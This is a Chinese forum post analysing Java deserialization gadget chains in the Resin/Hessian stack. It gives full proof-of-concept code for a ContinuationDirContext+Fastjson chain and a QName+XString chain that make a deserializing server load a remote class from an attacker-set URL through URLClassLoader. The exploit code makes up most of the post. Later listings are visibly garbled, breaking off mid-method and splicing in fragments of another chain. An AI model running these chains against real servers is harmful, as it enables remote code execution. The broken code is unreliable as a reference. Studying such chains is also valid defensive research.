ToB企服应用市场:ToB评测及商务社交产业平台

标题: Resin反序列化链分析 [打印本页]

作者: 天空闲话    时间: 2024-5-18 07:18
标题: Resin反序列化链分析
前言

Resin是一个轻量级的、高性能的开源Java应用服务器。它是由Caucho Technology开辟的,旨在提供可靠的Web应用步伐和服务的运行环境。和Tomcat一样是个服务器,它和hessian在一个group里,所以有肯定的接洽
  1. <dependencies>
  2.   <dependency>
  3.     <groupId>com.caucho</groupId>
  4.     <artifactId>resin</artifactId>
  5.     <version>4.0.64</version>
  6.   </dependency>
  7. </dependencies>
复制代码
ContinuationDirContext+Fastjson使用链

攻击测试

因为是JDNI,所以照旧得注意下jdk版本,这里用jdk8u65
  1. package org.example;
  2. import com.alibaba.fastjson.JSONObject;
  3. import com.caucho.hessian.io.Hessian2Input;
  4. import com.caucho.hessian.io.Hessian2Output;
  5. import sun.reflect.ReflectionFactory;
  6. import javax.naming.CannotProceedException;
  7. import javax.naming.Reference;
  8. import javax.naming.directory.DirContext;
  9. import java.io.ByteArrayInputStream;
  10. import java.io.ByteArrayOutputStream;
  11. import java.io.IOException;
  12. import java.io.ObjectOutputStream;
  13. import java.lang.reflect.Array;
  14. import java.lang.reflect.Constructor;
  15. import java.lang.reflect.Field;
  16. import java.lang.reflect.InvocationTargetException;
  17. import java.util.Base64;
  18. import java.util.HashMap;
  19. import java.util.Hashtable;
  20. public class resinPoc {
  21.     public static void main(String[] args) throws Exception {
  22.         //URLCLASSLOADER RCE
  23.         Reference refObj=new Reference("evilref","evilref","http://127.0.0.1:8000/");
  24.         Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
  25.         Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
  26.         ccCons.setAccessible(true);
  27.         CannotProceedException cpe = new CannotProceedException();
  28.         cpe.setResolvedObj(refObj);
  29.         DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());
  30. //       jdk.nashorn.internal.objects.NativeString str = new jdk.nashorn.internal.objects.NativeString();
  31.         JSONObject jsonObject = new JSONObject();
  32.         jsonObject.put("f12",ctx);
  33.         ByteArrayOutputStream baos = new ByteArrayOutputStream();
  34.         Hessian2Output out = new Hessian2Output(baos);
  35.         baos.write(67);
  36.         out.getSerializerFactory().setAllowNonSerializable(true);
  37.         out.writeObject(jsonObject);
  38.         out.flushBuffer();
  39.         ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
  40.         Hessian2Input input = new Hessian2Input(bais);
  41.         input.readObject();
  42.         //String ret = Base64.getEncoder().encodeToString(baos.toByteArray());
  43.         //System.out.println(ret);
  44.     }
  45.     public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
  46.         HashMap<Object, Object> s = new HashMap<>();
  47.         setFieldValue(s, "size", 2);
  48.         Class<?> nodeC;
  49.         try {
  50.             nodeC = Class.forName("java.util.HashMap$Node");
  51.         }
  52.         catch ( ClassNotFoundException e ) {
  53.             nodeC = Class.forName("java.util.HashMap$Entry");
  54.         }
  55.         Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
  56.         nodeCons.setAccessible(true);
  57.         Object tbl = Array.newInstance(nodeC, 2);
  58.         Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
  59.         Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
  60.         setFieldValue(s, "table", tbl);
  61.         return s;
  62.     }
  63.     public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
  64.         return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
  65.     }
  66.     public static String serial(Object o) throws IOException, NoSuchFieldException {
  67.         ByteArrayOutputStream baos = new ByteArrayOutputStream();
  68.         ObjectOutputStream oos = new ObjectOutputStream(baos);
  69.         //Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
  70.         //writeReplaceMethod.setAccessible(true);
  71.         oos.writeObject(o);
  72.         oos.close();
  73.         String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
  74.         return base64String;
  75.     }
  76.     public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, InvocationTargetException {
  77.         Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
  78.         objCons.setAccessible(true);
  79.         Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
  80.         sc.setAccessible(true);
  81.         return (T) sc.newInstance(consArgs);
  82.     }
  83.     public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
  84.         Field field = obj.getClass().getDeclaredField(fieldName);
  85.         field.setAccessible(true);
  86.         field.set(obj, value);
  87.     }
  88. }
复制代码
流程分析

之前研究过Hessian反序列化,没想到它会触发反序列化对象的toString方法,经过调试,在过完最后谁人map.put(in.readObject(),in.readObject())后,obj就是要反序列化的对象,这里有个字符拼接,所以触发了obj.toString()

这里简单提一下,接下来看正式的流程,既然这里触发了JSONObject的toString方法,阐明就能恣意调用getter了,我们给JSONObject传入的对象是ContinuationDirContext,这里直接给出调用的getter方法,
ContinuationContext是ContinuationDirContext的父类
ContinuationContext#getTargetContext()
我们在这个getter方法上打个断点

进入NamingManager.getContext,这内里的cpe是我们恶意构造的


跟进getObjectInstance方法

这个引用一个对象工厂

进入内里会举行类加载

最终是通过URLClassLoader举行类加载的

toString+Qname使用链

toString的触发方式有很多,这里接纳HashMap+XString来触发
[code]package org.example;import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import com.caucho.naming.QName;import com.sun.org.apache.xpath.internal.objects.XString;import sun.reflect.ReflectionFactory;import com.alibaba.fastjson.JSONObject;import javax.naming.CannotProceedException;import javax.naming.Reference;import javax.naming.directory.DirContext;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.util.Base64;import java.util.HashMap;import java.util.Hashtable;public class XstringChain {    public static void main(String[] args) throws Exception {        Reference refObj=new Reference("evilref","evilref","http://localhost:8000/");        Class ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$        Constructor ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);        ccCons.setAccessible(true);        CannotProceedException cpe = new CannotProceedException();        cpe.setResolvedObj(refObj);        DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable());        QName qName = new QName(ctx, "boo", "gii");        String unhash = unhash(qName.hashCode());        XString xString = new XString(unhash);        HashMap map = makeMap(qName, xString);        ByteArrayOutputStream baos = new ByteArrayOutputStream();        Hessian2Output out = new Hessian2Output(baos);        out.getSerializerFactory().setAllowNonSerializable(true);        out.writeObject(map);        out.flushBuffer();        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());        Hessian2Input input = new Hessian2Input(bais);        input.readObject();        //String ret = Base64.getEncoder().encodeToString(baos.toByteArray());        //System.out.println(ret);    }    public static HashMap makeMap ( Object v1, Object v2 ) throws Exception {        HashMap s = new HashMap();        setFieldValue(s, "size", 2);        Class nodeC;        try {            nodeC = Class.forName("java.util.HashMap$Node");        }        catch ( ClassNotFoundException e ) {            nodeC = Class.forName("java.util.HashMap$Entry");        }        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);        nodeCons.setAccessible(true);        Object tbl = Array.newInstance(nodeC, 2);        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));        setFieldValue(s, "table", tbl);        return s;    }    public static  T createWithoutConstructor(Class classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);    }    public static String serial(Object o) throws IOException, NoSuchFieldException {        ByteArrayOutputStream baos = new ByteArrayOutputStream();        ObjectOutputStream oos = new ObjectOutputStream(baos);        //Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");        //writeReplaceMethod.setAccessible(true);        oos.writeObject(o);        oos.close();        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());        return base64String;    }    public static  T createWithConstructor(Class classToInstantiate, Class[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {        Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);        sc.setAccessible(true);        return (T) sc.newInstance(consArgs);    }    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }    public static String unhash ( int hash ) {        int target = hash;        StringBuilder answer = new StringBuilder();        if ( target < 0 ) {            // String with hash of Integer.MIN_VALUE, 0x80000000            answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");            if ( target == Integer.MIN_VALUE )                return answer.toString();            // Find target without sign bit set            target = target & Integer.MAX_VALUE;        }        unhash0(answer, target);        return answer.toString();    }    private static void unhash0 ( StringBuilder partial, int target ) {        int div = target / 31;        int rem = target % 31;        if ( div  ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$        Constructor ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);        ccCons.setAccessible(true);        CannotProceedException cpe = new CannotProceedException();        cpe.setResolvedObj(resourceRef);        DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable nodeC;        try {            nodeC = Class.forName("java.util.HashMap$Node");        }        catch ( ClassNotFoundException e ) {            nodeC = Class.forName("java.util.HashMap$Entry");        }        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);        nodeCons.setAccessible(true);        Object tbl = Array.newInstance(nodeC, 2);        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));        setFieldValue(s, "table", tbl);        return s;    }    public static [] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {        Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);        sc.setAccessible(true);        return (T) sc.newInstance(consArgs);    }    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }    public static String unhash ( int hash ) {        int target = hash;        StringBuilder answer = new StringBuilder();        if ( target < 0 ) {            // String with hash of Integer.MIN_VALUE, 0x80000000            answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");            if ( target == Integer.MIN_VALUE )                return answer.toString();            // Find target without sign bit set            target = target & Integer.MAX_VALUE;        }        unhash0(answer, target);        return answer.toString();    }    private static void unhash0 ( StringBuilder partial, int target ) {        int div = target / 31;        int rem = target % 31;        if ( div




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4